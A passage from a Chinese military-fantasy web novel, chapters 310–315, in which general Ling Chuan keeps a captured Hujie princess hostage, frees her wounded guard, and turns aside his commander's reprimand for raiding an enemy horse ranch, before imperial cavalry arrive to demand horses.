凌川心中气得牙痒痒,恨不得把余乐掐死,但嘴上却是笑着说道:“她不过是一个手无缚鸡之力的弱女子,能把我怎么样?” 随即对苍蝇交代道:“咱们虽然安全撤回来了,但难免胡羯人不会狗急跳墙出兵攻打边关,好在有这位胡羯公主在手里,他们就不敢乱来,你可千万要看好了!” “将军放心,她跑不掉的!”苍蝇点头说道。 凌川想了想,又交代道:“介于她公主身份,尽量保密,免得被节度府知道了,招来麻烦!” 苍蝇连连点头,说道:“我这就让人把封口令传下去!” 第一卷 第310章 被他给装到了! 往后三日,凌川的云州军依然在高平县休,一来是太疲惫,根本不是睡一夜就能恢复的。 再则是为了防止胡羯大军反扑攻打边关,凌川需在这里观察关外敌军动向,也正是因为这个原因,龙夔骑也驻守于此,不曾撤离。 事实上,不仅是云州边关,数日前,凌川开始行动的时候,节度府便已经将一道道命令传达出去,整个北疆边境都在增兵固防。 整个北疆关内关外,就宛如一张棋盘,大周北系军与胡羯南征军排兵布阵、紧密对峙,正所谓牵一发而动全身,每一步落子都引发格局变幻。 接下来这三日,凌川并未住进那座小院,而是在军营中跟亲兵挤通铺,至于拓跋青鸾,凌川则是让苍蝇分派几人轮流看守。 第三日,凌川见到了已经转醒的朝鲁,此时的他,面色苍白如纸,整个人更是虚弱到了极点。 “凌将军,我家公主殿下呢?”朝鲁声音十分虚弱。 凌川顿了顿,眼神看向别处,回答道:“放心,她很好!我既然说过不为难你们,就一定不会食言!” 他自然能看出,朝鲁对于拓跋青鸾的态度,绝非仅仅之上一名将领对主子那么单纯,不过,他并未深究。 听到公主殿下安然无恙,朝鲁顿时松了一口气。 当日,他身中数箭,再加上长途奔波,还未进入高平县便昏了过去,入关之后凌川便立马让苍蝇去叫军医。 “你安心养伤,等你伤好了,便可自行出关返回胡羯!”凌川再次开口说道。 朝鲁一愣,显然不相信凌川真的会放了他,毕竟,之前作出这样的承诺是因为自己二人还有些用处,现在他们已经返回关内,完全可以杀掉自己。 凌川嘴角勾起一抹笑意,说道:“如果抛开立场不谈,我很欣赏你的忠心和骨气,更何况,就算杀掉你,对于两国大局影响并不大!” “那,公主殿下呢?”朝鲁再次抬起目光看向凌川问道:“我能否带着她回去?” 凌川却摇了摇头,语气不容置疑:“暂时还不行!” “为何?”朝鲁脸色骤变,脱口问道。 “你回去告诉拓跋桀,只要他不轻举妄动,过段时间我自会放人!”凌川淡淡回答道。 “可是……” 见朝鲁还要开口,凌川转过目光,居高临下地看着他,说道:“我只是承诺不会为难你们,可没说什么时候放了你们,既然是我的俘虏,就要有相应的心理准备。” 朝鲁无言以对,正如凌川所言,自己作为俘虏,连生死都不能自己掌控,又哪有资格去跟对方讲条件? 看着眼前这个比自己还要年轻许多的周军将领,朝鲁的眼神中除了钦佩,还有一丝丝的畏惧。 这些年,周军一直都在盯着塔拉马场,但,没有人敢真正伸手,凌川是第一个出手的人,而且,他还成功了,哪怕是现在,朝鲁都难以置信。 他比谁都清楚,想要将那两万多马群驱赶三百里,沿途还要面对胡羯大军的围追堵截,其难度有多大可想而知。 不仅如此,凌川还用两千余兵力,成功阻击了金雀谷的五千精骑,将其重创而逃,加上自己手下那被其杀得一个不剩的三千骑,此次南征军折损了七千余人,而凌川却只付出了三百余人的代价,如此惊人的战绩,无疑是更加彰显出此人卓绝的用兵天赋。 隐约间,他已经预料到,再过几年,此人必将成为南征军乃至胡羯帝国的不世大敌。 塔拉马场的丢失,对于胡羯南征军而言,简直是不可估量的损失。 南征军的战马主要依托于三座马场,如今,塔拉马场被人一夜之间搬空,这无疑会让南征军陷入战马断供的境地。 想要重新建一座马场不难,但马匹却不是一时半会能培育起来的,自己作为看守塔拉马场的将领,此次负有不可推卸的责任,就算凌川放自己回去,生死依然难料。 凌川起身离开,走到门口的时候,他忽然顿住脚步,背对朝鲁说道:“我已经告知余校尉,等你伤好了,随时可以离开,至于是回斡拏城还是回柔然部,全凭你自己!” 听到这话,朝鲁的眼神中闪过一抹异色,显然,自己身为柔然王子的身份,对方已经知晓。 今日,杨烬旗便会带着龙夔骑起程回营,凌川亲自相送,说道:“将军放心,我已经让人传信回云州,想必银子和粮草已经在路上了!” “别忘了,你答应给我的狼血!”杨烬旗拍了拍凌川的肩膀,说道。 “放心!狼血少不了!”凌川十分爽快地答应下来。 杨烬旗转身走向自己的战马,周围不少兵士都好奇地偷偷打量着,想知道这位威名赫赫的将军如何上马。 要知道,他的坐骑乃是一匹体型健壮的大宛马,正值壮年,以杨烬旗的体型,在马下的时候,仅能与马鞍齐高。 杨烬旗似乎察觉到了众人的目光,嘴角撇出一丝混合着不屑与戏谑的冷笑。 只见他将手中玄铁大戟倒插在地上,紧接着,右脚在戟刃内侧的横杆上一点,身体凌空一个旋转便稳稳坐到马背之上,动作一气呵成,举重若轻。 不得不说,他这一手很是帅气,同时,也解除了大家心中的疑惑。 凌川更是在心中暗骂:‘真被你给装到了!’ 杨烬旗率领龙夔骑离开之后,凌川也开始安排相关事宜,先是让赵襄与柳衡二人将马群与牧奴一分为二,分别赶往清河与西源这两处马场。 凌川已经提前让谭学林前往两处马场,并让这两县的士兵配合修建马厩。 这两处马场远不及塔拉马场那么大,各自安置一万多马匹,基本已经处于饱和状态,所以,凌川之前便已向刺史府递交条陈。 希望刺史府出面,将这两县百姓迁走,进一步扩宽牧场,要不然,随着马匹繁衍增加,放牧也将成为一个大问题。 此事由刺史府出面协调最为合适,毕竟涉及到百姓安置和土地分配等诸多问题。 第一卷 第311章 战果丰硕! 此次凌川收获的可不仅仅是塔拉马场那两万五千余战马,还有消灭朝鲁的两支五百游骑,和驻扎在塔拉马场附近那两千精骑之后,缴获的五千余战马。 此外,在青蟒脊大破兀烈的五千骑兵,也缴获了近三千匹战马,加起来足有八千匹,这本身就是一笔足以令北疆任何一支军队都为之眼红的财富。 要知道,胡羯骑兵配备的大多为草原马和大宛马,许多高层将领,更是配备了号称神驹的汗血宝马。 可惜的是,当时青蟒脊一战,许多战马都被火炬烧死烧伤,就算带回来也很难上战场,故此被舍弃。 不过,在当时的局面下,这也是无奈之举,毕竟,首要任务是战胜敌人,要不然,任何的战利品都是空谈。 随着战马和牧奴陆续撤离,高平县也逐渐清净了下来,只有洛青云会配合余生继续在高平县驻守一段时间。 一来是继续观察关外的动静,防患于未然,再则,高平县要修建粮仓和军营,需要大量人手,洛青云的人在此也可以协助。 至于纪天禄和陈谓行的斥候队,整顿过后便准备明日再次出关,凌川让他们继续盯着关外的动静,此外,对于他们来说,游走在关外便是最好的磨砺。 此战,陈谓行充分认识到了自己手下斥候营的诸多不足,至少,跟纪天禄这支百人斥候小队相比,差得太远了。 因此,临行前夜,陈谓行专程找到凌川,要主动辞去校尉之职,让纪天禄带领这支队伍。 凌川则是笑着告诉他:“半年前,纪天禄这支斥候小队跟你手下的斥候营相差不大,你为何就觉得自己不如他?” 陈谓行:“将军,我……” 凌川拍了拍他的肩膀,说道:“我相信你行!” “将军,你为何如此信任我?”陈谓行不解。 凌川不紧不慢地给他倒了一杯茶,说道:“我一直说,没有不行的兵,只有不行的将,你陈谓行若真带不好这支队伍,我自会换人,但你现在连试都没试一下就否定自己?” 一时间,陈谓行双目泛红,嘴唇颤抖,想要开口,却不知道说什么。 “从现在开始,纪天禄的斥候小队并入云州斥候营,你任校尉,纪天禄任你的副手,同享校尉俸禄!”凌川直接下令。 凌川此举,既能兼顾陈谓行的感受,同样也能将纪天禄以及他手下那支百人小队的作用发挥到最大,无疑是一举多得,相信,用不了多久,云州斥候营的整体实力将得到一次完美蜕变。 “是!末将定不负将军信任,将手下斥候营打造成云州军的一把尖刀!”陈谓行铿锵有力地说道。 次日一早,斥候营便备好战马和补给出关了,一为探查敌情,二为磨砺自身,相比起在校场训练,在关外生死间的磨砺更为有效。 紧接着,凌川便安排卫敛带着他手下之人返回云岚县,嘱咐他对参与此次行动的士兵自行奖赏,对战死的兄弟,校尉府出银子安葬并按照规定发放恤银。 同样,对赵襄、柳衡以及陈谓行等所有参与此次行动的队伍皆是如此。 除了负责战死士兵的安葬和恤银发放之外,凌川还安排,根据实际情况,考虑其家人到就近的酿造司和织造坊做工,以此解决生存问题。 这也是凌川不遗余力想要将白酒和棉布生意做起来的原因之一,除了挣钱打造军队之外,还有一个原因那就是为军属、烈属解决生活问题。 毕竟男人去参军之后,家里缺少主要劳动力,所有重担都将压在其他人身上,甚至有的家庭,连自家的地都无力耕种,只能租给其他人,以此来换点口粮。 至于凌川自己,则是准备动身前往节度府,毕竟,大将军都亲自让杨烬旗带话,让自己到节度府请罪了,怎么也不能无视。 不过出发之前,凌川还有一件事情需要处理,那就是拓跋青鸾这位胡羯公主的安置问题,虽然只是一个人质,但介于对方的身份,凌川必须妥善安排,最主要的是,其身份与行踪不能暴露。 之前在关外,凌川便提前让苍蝇将他二人交给陈谓行照看,其目的就是不想让杨烬旗和龙夔骑发现。 再次进入这座小院,凌川的内心无比复杂,那晚‘如梦似幻’的场景,这几日不断在脑海中回放。 特别是夜深人静之时,心绪尤为复杂,有对苏璃的愧疚,也有对这场突如其来的邂逅的茫然。 见凌川进来,拓跋青鸾的蓝色瞳孔深处闪过一抹欣喜,不过被其很好地掩饰了起来。 “哟!你这位大忙人,今天总算是有空来看看我这个阶下囚了?”拓跋青鸾的语气中带着几分埋怨。 凌川淡然一笑,在她对面坐了下来,说道:“没想到,你这位胡羯公主的中原话说得这么好!” “想不到你也会夸人?”拓跋青鸾眼底闪过一丝俏皮与得意,唇角弯起,“不过,你可真是个迟钝的木头,到现在才发现?”她皱了皱高挺的鼻子,带着点娇嗔的意味。 凌川只能无奈一笑,当日他心乱如麻,哪有心思去注意这些细节? “我的老师是中原人,我从小就学说中原话。” 凌川微微颔首:“原来如此,难怪!” 就在这时拓跋青鸾主动起身来到凌川身后,纤纤玉搭在凌川的脖子上轻轻抚摸。 随即,她弯下腰,将嘴凑到凌川耳边,吐气如兰,柔声问道:“你今天来,是不是想我啦?” 凌川将她的手臂推开,正色道:“你是不是把我给你说的话忘了?” “这不是没有其他人吗?”拓跋青鸾嘟起小嘴,不悦道:“果真是无情无义之人,哼!” 面对她的撒娇,凌川无动于衷,说道:“我再强调一遍,请你记住你的身份,否则,我不介意让你永远闭嘴!” 面对凌川的恐吓,她却是无动于衷,说道:“好啊,那你是把我关起来独自享用呢?还是杀了我以除后患?” “你真以为我不敢杀你吗?”凌川剑眉一蹙,一抹杀意绽放而出。 “那你动手啊,来啊!”一边说,她更是褪下自己的狐袍,将傲人的身姿展现在凌川面前。 霎时间,凌川只感觉体内热血沸涌,双眼不受控制地瞪大了许多。 随即,她整个人更扑上来,那双墨玉长腿更是像两条蟒蛇一般,缠在其身上,“大不了就是一死而已,我只想问问,你在杀我之前,想不想再快活一把?” 第一卷 第312章 卢恽筹吃瘪! 凌川起身将她推开,义正言辞地说道:“你说你是为了活下来,我可以答应不杀你,但你记住,我们之间不会有任何可能,你是胡羯公主,我是大周将军,更何况,我已有妻子,若再纠缠下去,将会为你我二人带来灭顶之灾!” 见凌川如此严肃,拓跋青鸾眼瞳之中的玩味也被睿智所取代。 “好啊,我不缠着你就是了!”拓跋青鸾神色清冷,其中还夹杂着一丝失落与怨气,顿了顿问道:“朝鲁呢,他怎么样了?” “他已经醒了,等他伤好之后,我就放他回去!”凌川回答道。 拓跋青鸾似乎并不关心凌川会如何处置自己,而是开口问道:“我要见他!” “可以!”凌川点了点头,说道:“我今晚便让人把他送过来!” “我现在就要见他!”拓跋青鸾语气坚决,眼神之中带着一种不容拒绝的霸气,让凌川觉得,自己才是俘虏一样。 “行!我现在让人去办!”说完便走出了房间。 不多时,苍蝇几人便用一辆马车将朝鲁带了过来,朝鲁住的地方距离这里并不远,只不过,为了不暴露其身份,依旧采取单独关押。 不消片刻,朝鲁走了出来,他单手抚肩对着凌川行了一礼,情真意切地说道:“叩谢将军不杀之恩,恳请将军善待公主殿下,这份情朝鲁铭记于心,若有机会一定报答!” 凌川则是淡淡一笑,说道:“下次你我战场相见,必是生死大敌,还谈什么报恩!” 朝鲁惨白的脸上露出一抹无奈笑容,说道:“正如将军所言,那是立场问题,你我皆无法改变,但,并不妨碍我个人对你的敬佩!” 凌川笑了笑,没再说话。 让苍蝇把他送了回去。 虽然与朝鲁只是简单交谈了几句,但凌川却能察觉到,朝鲁的压力小了很多,很显然这种改变来自与拓跋青鸾的这次见面。 想必,朝鲁返回之后,不会受到太重的惩罚。 当晚,凌川便让苍蝇带一队亲兵将拓跋青鸾送走,至于去了哪里,没有人知道。 次日一早,凌川带着二十余名亲兵,辞别了余生与洛青云,策马直奔飞龙城。 二百余里路程,快马加鞭,日落之前已能望见飞龙城巍峨的轮廓。 刚至城门,一名守城校尉便快步迎上,抱拳行礼,姿态恭敬却不失军人之挺拔:“属下袁成,见过凌将军!” 凌川勒住马缰,略微一怔,抱拳回礼:“你认得我?” 袁成抬起头,眼中闪烁着毫不掩饰的敬佩之光,笑道:“上次将军来飞龙城,属下曾远远见过将军一面,风姿难忘!” “你在此是专程等我?”凌川问道。 “正是。大将军有令,若将军抵达,命属下即刻引您前往节度府。”袁成侧身让开道路。 “有劳带路。” 入了城,袁成在前引路,众人径直前往那座象征着北境最高军权所在的府邸。 至节度府门前,凌川令孟钊、沈珏及其他亲兵在外等候,独自一人踏入了那扇沉重的大门。 节度府正堂开阔肃穆,两排木椅分列左右,却大多空置。 唯有右边首张椅上,一位老者正惬意地半靠着,右手边搁着一只酒壶,左手握着那根仿佛长在他手上的旱烟杆,正是老将军陆含章。 见凌川出现在门口,他只是缓缓抬起眼皮看了一眼…… “biu……” 随即继续耷拉着眼皮,开始吞云吐雾,仿佛外界的纷扰皆与他无关。 凌川稳步走至堂中,面向主位方向,抱拳躬身,朗声喊道:“云州副将凌川,前来请罪!” 正在沙盘跟前小声商讨的卢恽筹二人这才抬起目光看了过来,说道:“哟!咱们的大英雄来了,快进来吧!” 声音不冷不热,脸上无喜无悲,看不出他是什么态度,只见他缓步来到陆含章旁边的主位上坐下,姿态看似随意,却自有一股不怒自威的气场。 叶世珍紧随其后,他经过凌川身边时,脚步微不可察地顿了一下,投来一个复杂难言、隐含担忧的眼神,随即沉默地走到左边首张椅子坐下。 卢恽筹抬手,指向下方一个空位,声音淡漠:“坐吧!” “末将不敢!”凌川依旧保持着躬身的姿态,低声回应。 “不敢?”卢恽筹猛地抬起眼帘,霎时间,那双深邃的眼眸中仿佛有电光闪过,一股无形却磅礴犀利的威压骤然弥漫开来,如同巨石般压在凌川肩头,几乎令他窒息。 “这世上还有你凌川不敢做的事?”卢恽筹的声音陡然转冷,如同冰碴刮过地面,目光更是锐利如刀,死死钉在凌川身上。 “未经请示,擅自出兵,掀起如此规模的战端!本帅实在想不出,还有什么是你凌川不敢的!” 面对卢恽筹蕴含着雷霆之怒的质问,凌川垂首站在下方,紧抿着嘴唇,一言不发。 “说话!方才不是声音挺大?现在变哑巴了?”卢恽筹厉声喝道,雄浑的声音在空旷的大堂中震响,带着不容置疑的威严。 凌川深吸一口气,依旧保持着恭谨的姿态,但声音清晰了许多:“回禀大将军,末将此举,实属无奈,而且……末将此前,确已向大将军请示过!” “请示过?” 卢恽筹目光骤然锐利如鹰隼,眼眸中怒意翻涌,几乎要喷出火来。 “凌川!你是不是以为本帅老糊涂了?你何时向本帅请示过此事?”他死死盯着凌川,仿佛要用目光将其洞穿。 “上次大将军亲口应允的!”凌川抬起目光看了卢恽筹一眼,继续说道:“一个月前的晚上,末将与大将军饮酒之时,曾向大将军申报为云州军补充战马,大将军当时说,胡羯人手里战马多,有本事自己抢去!” “有这回事?”卢恽筹眉头紧锁,问道。 凌川点头说道:“千真万确,末将不敢捏造!” 卢恽筹仔细回想,当晚确实喝了很多酒,又过了一两个月,当时说过的很多话都忘了。 不过,他隐约记得,二人在聊到边关战局的时候,确实提到过北系军紧缺战马的话题,但具体聊了什么,他实在想不起来。 第一卷 第313章 我问你马呢? 凌川语气诚恳,真挚的眼神中甚至还带着些许委屈。 但凡有点脑子都知道,那是酒桌上的激将之语,是带着醉意的玩笑话!谁能想到,眼前这个愣头青竟然真的听进了心里,而且二话不说就真去抢了!关键还真就抢回来了。 一瞬间,卢恽筹只觉得一股郁气堵在胸口,上不来也下不去,简直憋屈得想吐血。 军中无戏言,这个道理他比谁都懂。 凌川这小子,分明是抓着他酒后的片语只言,反将自己一军,承认自己说过?那就等于变相承认凌川是‘依令行事’,顶多算个执行过当;不承认说过?那他卢恽筹成什么了?言而无信,出尔反尔的主帅? 他看向凌川的目光几乎要喷出火来,牙齿咬得咯咯作响。如果说之前多少还带着几分敲打震慑、考验后辈的心思,那么现在,他是真想亲手把这小混蛋拖出去狠狠揍一顿!竟敢如此算计到主帅头上! 一旁的叶世珍原本还在心中暗暗筹措求情的言辞,想着如何既能保全凌川,又能维护大将军威严。 看到这一幕,他先是愕然,随即嘴角微微抽动了一下,眼神中流露出古怪的神色。 这小子哪里是需要别人求情的羔羊?分明是头胆大包天、还狡猾无比的狼崽子!早就挖好了坑,在这儿等着呢! 大堂之内,陷入了一种极其诡异的寂静,除了卢恽筹粗重的呼吸声显示着他内心的波涛汹涌,便只剩下陆含章在那里吧嗒吧嗒地吞云吐雾。 “biu……” 就在这时,陆含章那边又传来一声极其不合时宜的、响亮的口水声。 三人目光下意识地被吸引过去,本以为这位一向惜字如金的老将军要发表看法,结果对方只是慢悠悠地换了个更舒服的姿势瘫在椅子上,继续眯着眼吞云吐雾,彻底把自己当成了一个无关紧要的看客。 卢恽筹强行压下翻腾的气血,从牙缝里挤出一句话:“好!就算本帅说过类似的话,如此重大的军事行动,你也理应在行动之前上报节度府!本帅需统筹全局,调遣边境各军策应布防,以防胡羯人狗急跳墙,大举反扑!” 凌川闻言,先是一脸茫然,随即连忙说道:“大将军,末将行动之前便派了江校尉快马加鞭送信至节度府了啊!难道……大将军您没收到消息?”他睁大了眼睛,一副难以置信的模样。 “你……”卢恽筹一口气差点没上来,话到了嘴边又被硬生生噎了回去。 脸色一阵青一阵白,心中早已是怒骂连连,江来确实是送信来了,可那是你主动送来的战前通报吗? 那特么是行动开始后,老子安插在你身边的眼线送回来的情报。 这种话,能放在明面上说吗?打落牙齿和血吞,莫过于此! 叶世珍在一旁看得分明,连忙低下头,掩饰住脸上复杂的神情。 他在北系军这么多年,还是头一回见到有人能让卢大将军吃这么大一个哑巴亏,偏偏还发作不得。 这凌川,真是胆大包天,却又妙不可言。 许久,卢恽筹露出将杯中茶水喝干,这才勉强将胸口那团郁气压下去几分,那份独有的气场散发而出。 他主动跳过上一个话题,问道:“你此次从塔拉草原,究竟抢回来多少战马?” “全部!”凌川回答得言简意赅。 “全部?”卢恽筹一怔,一时没反应过来,“什么全部?” “塔拉马场里能带走的,都带回来了。”凌川平静地补充道,“包括场内所有的战马,以及那近两千名牧奴!” “什么?你把整个塔拉马场搬空了?”卢恽筹猛地站起身,脸上写满了震惊,甚至一时忘了刚才的憋屈。 他原以为凌川只是冒险抢了一批马,没想到这小子竟是抄家灭门式的扫荡,连人带马一锅端了! 前两日接到龙夔骑接应成功的消息时,只知凌川成功带回马群,具体数目并未深究,想着等他来了再一并盘问定罪,万万没想到竟是如此惊人的数目。 “具体数目到底是多少?快说清楚!”叶世珍也按捺不住,急声追问,声音都微微提高了些许。 “共计两万五千余匹!”凌川报出数字,随即又补充道:“不过其中包含不少母马和幼驹,还有部分岁口不足,尚未驯化,暂时无法直接用于作战!” “嘶……” 尽管已有心理准备,但这个数字还是让卢恽筹和叶世珍同时倒吸了一口凉气,脸上尽是骇然之色。 就连一直仿佛神游天外、事不关己的陆含章,也猛地睁开了半眯着的眼睛,浑浊的老眼里爆发出惊人的亮光,狠狠吧嗒了一口旱烟。 “biu……” “马呢?”陆含章忽然问道。 三人皆是一脸茫然地看着他,陆含章却是紧盯着凌川,激动地问道:“我问你马呢?” 凌川:“……” 凌川一脸古怪,心中更是怀疑陆老将军是在骂人,但自己又没证据。 “已经赶往清河与西源两处马场了!”凌川回答道。 陆含章听到这话,顿时松了一口气,说道:“那我就放心了,biu……” 凌川先是一愣,不过很快就明白过来,陆含章这是防着卢恽筹趁机敲诈。 见陆含章都把自己的话堵死了,卢恽筹也不好再开口要战马,便只能退而求次。 “我知道云州军孱弱,战马紧缺,这次我就不要你的马了,两年之后,每年得送五千战马到节度府!”卢恽筹沉着脸说道。 “五千?大将军,云州马场一年也就能产五千战马,你这……”凌川连连叫苦。 “那就三千,另外两千我从其他马场调马过来跟你换!”卢恽筹看似退而另一步,实则一开始就算得死死的。 北境只有部分草原马种,其它皆是中原马种,而凌川这次劫回来的,大部分都是草原马,此外,还有部分大宛马以及汗血马,那可是让北境将领为之疯狂的宝贝。 凌川下意识地将目光看向陆含章,想要看看他什么意见,毕竟严格意义上来说,对方才是云州主将。 陆含章:“biu……” 第一卷 第314章 敲打! “另外!”卢恽筹目光重新锁定凌川,继续施压,“此次为了策应你的行动,北境各军频繁调动,耗费粮草辎重无数,这笔开销,由你云州承担,不过分吧?” 方才那三千匹优质战马的条件已经让凌川肉疼不已,但想到是两年后的事情,尚可周转,他便硬着头皮应了下来。 事实上,卢恽筹正满肚子火没处发,也根本由不得凌川不答应。 此时见卢恽筹又提及粮草,凌川脸上却露出为难之色,甚至挤出一丝笑容,说道:“回大将军,这粮草属下其实已经提前支付过了!” “支付过了?何时的事?”卢恽筹眉头一皱,显然不信。 凌川将目光转向一旁的叶世珍。 叶世珍立刻恍然起身,恭敬地回禀道:“回大将军,确有其事。约莫一个月前,凌将军便派人运送了一百万两白银及一百万石粮草至节度府。属下已清点无误,尽数存入府库之中了。”他语气平稳,事实确凿。 此事卢恽筹自然知晓,但他没想到凌川此时竟会拿出这个来堵他的嘴。 可不看僧面看佛面,陆含章还坐在这儿,自己若再强行索要额外粮草,确实显得有些不近人情,刻意刁难了。 更何况,他也心知肚明,凌川清洗了云州世家,府库看似充盈,实则底蕴就那么些,若‘榨’得太狠,云州军后续的日子会极其难过。 归根结底,此次的主要目的是敲打凌川,一方面让他收敛锋芒,懂得尊卑上下;另一方面,也是做给北疆其他将领看,表明态度。 当然,这一切的大前提,是凌川此次行动取得了惊人的成功,若是失败,此刻他和他那几千云州军,恐怕早已葬身关外,也轮不到自己在这里敲打了。 最后,这场意在立威的问罪,非但没让凌川伤筋动骨,反而让卢恽筹自己感到几分不自在。 就在凌川暗自松了口气,准备告辞离去时,卢恽筹却再次叫住了他。 “大将军还有何吩咐?”凌川立刻躬身问道。 “吩咐谈不上!”卢恽筹面色恢复了平静,语气却带着几分郑重,“不过是提醒你一句,距离重阳节越来越近了。神都之行,绝非你想象中那般简单,其中暗流汹涌,步步惊心。你最好早做准备!” 凌川神色一凛,认真点头:“多谢大将军提醒,末将心里有数!” 他自然清楚神都之行绝不会太平,甚至可以用步步杀机来形容,其间的危险,不仅仅来自于那座矗立了千年的巍峨古城,就连这沿途千里归途,也定然不会风平浪静。 离开节度府,凌川依旧下榻在上次入住的庆丰楼。 刚迈进大堂,早已等候在此的沈珏和孟钊便立刻迎了上来,脸上带着担忧。 “将军,卢帅没有为难您吧?”孟钊性子急,抢先开口问道。 凌川笑了笑,故作轻松地摆了摆手:“无妨,就是被训斥了一顿,然后嘛自然是趁机从我这儿捞些好处!” 听到这话,两人悬着的心才总算放了下来,长长舒了口气。 而就在凌川离开节度府之后,那座肃穆的大堂之内,端坐其中的三只‘老狐狸’互相对视一眼,竟再也抑制不住,几乎同时爆发出酣畅淋漓的大笑声。 “哈哈哈哈……”卢恽筹更是笑得前仰后合,眼泪都快飙了出来,“痛快!真是痛快!这么多年了,从来都是胡羯崽子到咱们关内来烧杀抢掠,何曾想过也有今日!终于算是狠狠报了一箭之仇!” “biu……”陆含章摇了摇头,脸上却也是掩不住的笑意,他慢悠悠地吸了口烟,说道,“你错了,这充其量只能算是收了点利息,有那小子在,你觉得往后这等无本万利的买卖,他会少做?” “老将军所言极是!”叶世珍也笑着点头附和,“他这次尝到了天大的甜头,往后定然食髓知味,只怕会一发不可收拾!” 卢恽筹笑得脸上的肌肉都有些抽搐了,他转向陆含章,兴奋地说道:“我的老哥哥诶……两万多匹战马啊!而且还是草原骏马和大宛良驹!想想这事儿,我这几晚怕是都要激动得睡不着觉了!” 陆含章同样是满脸激动,浑浊的老眼中闪烁着希冀的光芒:“看来,老子这把老骨头,有生之年还真有可能看到云州军重现昔日荣光的那一天!” 随即,他轻叹一声,语气中带上了一丝不易察觉的怜才之意,“也真是苦了这小子了,立下这等泼天功劳,回来还得陪着咱们演这么一出戏,小心翼翼地应对!” “哥哥勿怪!”卢恽筹收住笑声,解释道,“我这不是怕他年纪轻轻,立下大功便心生骄矜,忘了分寸吗?更让我担心的是,北系军其他将领若是群起效仿,成了还好,要是败了后果可就不堪设想了,咱们北系军如今只能吃补药,可经不起任何泻药了!” 陆含章点了点头,吐出烟圈,“你的这番苦心,我自然明白,那小子心里也定然是明白的!” 紧接着,卢恽筹收敛神色,对叶世珍正色道:“给江来和程砚传令,让他们以后就安心跟着凌川,不必再往节度府递送消息了!” 江来与程砚,确是卢恽筹早年安插在凌川身边的眼线,他也心知肚明,此举定然瞒不过心思缜密的凌川。 此时他主动斩断这两条线,一则是向凌川表明信任与托付之心;二则,也是不想让江来、程砚二人日后难做,彻底将他们交给凌川。 休整一夜之后,凌川等人于次日清晨在庆丰楼用过早饭,便动身起程,准备返回云州。 出城之后,走在平坦开阔的官道之上,凌川心情似乎不错,他转头对身旁的沈珏问道:“我没记错的话,咱们此行,是要经过清河县地界吧?” “是的将军!”沈珏肯定地回答道。 凌川闻言,嘴角勾起一抹笑意,突然提高了嗓音,对身后所有亲兵喊道:“兄弟们!听好了!今天中午,咱们就在清河县吃最地道的清河鱼!” 第一卷 第315章 仇人相见! 凌川话音刚落,二十余亲兵队伍顿时传来欢呼声。 就在这时,凌川话锋一转,带着几分戏谑,“不过嘛,谁最后一个到,这顿鱼的账就归谁结!驾!” 话音未落,他已一马当先,猛地一夹马腹,胯下骏马如同离弦之箭般疾驰而出。 其他人先是一愣,随即反应过来,顿时爆发出阵阵笑骂和吆喝声,纷纷不甘落后地策马狂奔,奋力追赶。 好在此去云州的官道足够宽阔,二十余骑纵马奔驰,倒也并不显得拥挤,只留下一路烟尘和欢腾的景象。 与此同时,清河马场这两日却是忙得人仰马翻,随着一万多匹新马的涌入,这座原本还算宽敞的马场瞬间变得拥挤不堪,空气中弥漫着浓烈的马匹气味和喧嚣。 尽管谭学林已提前督建了不少新的马厩,但熟练人手的短缺却不是一时半会儿能解决的。 虽然从塔拉马场带回了近千名牧奴,但从高平县长途驱赶马群至此,这些牧奴也早已累得筋疲力尽,许多人几乎站不稳脚跟。 莫说是他们,就连负责押送的赵襄麾下一千士兵,也都疲惫不堪。 如今尚在关内,驱赶如此大规模的马群已是这般艰难,可想而知,几日前在关外,陈谓行及其斥候营所承受的压力是何等巨大。 不得已,谭学林只得派人赶往清河县大营,请求校尉轩辕孤鸿派兵前来协助安顿马匹。 而就在这一片忙乱之际,一队不速之客突然抵达了马场。 一行十余骑,风尘仆仆,却个个铠甲漆黑鲜亮,在阳光下反射着冷硬的光泽,他们的坐骑也皆是清一色的草原高头骏马,神骏非凡。 这队人马径直闯入清河马场,速度丝毫不减,马蹄践起尘土,显得颇为蛮横。 “站住!你们是什么人?”一名隶属轩辕孤鸿麾下的士兵见状,立刻上前盘问。 他见对方衣甲鲜明,气势不凡,但一眼便看出,这并非云州军配置的新式的铠甲。 “啪!” 回应他的,是一道凌厉刺耳的破空声! 只见为首那十余骑中,一名骑士甚至未有片刻停顿,抬手便是一记狠辣的马鞭,毫不留情地朝着士兵的脸颊抽来! 霎时间,皮开肉绽,鲜血立刻从那士兵的脸颊上流淌下来。 “你……你怎么动手打人?”那名士兵捂住火辣辣疼痛、鲜血直流的脸颊,又惊又怒地喝问道。 就在这时,那十余骑中,领头那名身着校尉甲、面色冷峻的男子,用一种居高临下、充满蔑视的冷漠语调开口说道:“叫你们这里管事的,滚出来见我!” 这边的动静,立马引起了其他人的注意,马场内几名士兵迅速围拢过来,更是下意识地将右手搭在刀柄上。 那十余骑见状,纷纷露出不屑的冷笑,似乎,全然没将他们放在眼里。 “大人,大人,小的是云州监牧使,不知大人有何吩咐?”就在这时,满身臭味,靴子上裹满稀泥跟马粪的谭学林连忙跑了过来。 凑近一看,谭学林脸色顿时一变,因为他认出对方的铠甲样式,赫然是威震北疆的玄影甲。 毫不夸张地说,他们身上的玄影甲乃是北疆军械司的巅峰之作,乃是用最好的矿石,最好的工匠乃至最好的工艺制作而成,尽管只是轻甲,可造价比起龙夔骑和虎贲骑的重甲也不遑多让。 只不过,玄影骑向来神秘,一般不会露面,以至于外界见过玄影甲的人并不多,只因以往每年玄影骑都会到云州挑选战马,要不然谭学林也必然接触不到。 “你是管事儿的是吧?”玄影骑中那名校尉问道。 “是,小的是这里的监牧使!”谭学林连连点头,态度更是极为谦卑。 那玄影骑校尉居高临下地用鞭子指着他,用命令的口吻说道:“给你三天时间,挑选五千甲等马送到蓟州!” 谭学林闻言,顿时一脸苦涩,说道:“大人,马场中没有那么多成年马匹,而且,此事小人做不了主啊!” “嗯?” 那玄影骑校尉眉毛一挑,问道:“那谁能做主?让他来见我!” 谭学林笑得极为僵硬,吞吞吐吐道:“大人,那个,得要咱们凌将军的手令或者当面口谕才行,小的……实在是做不了主!” 那玄影骑校尉眉宇间闪过一丝怒意,冷冰冰地说道:“那你就去请示凌川,我只要战马!” 就在谭学林十分为难的时候,身后一道洪亮的声音传来:“不用请示了,凌将军说了,云州马场没有战马,诸位请回吧!” 来人不是别人,正是清河县校尉轩辕孤鸿,他带着十多名亲兵,阔步走来。 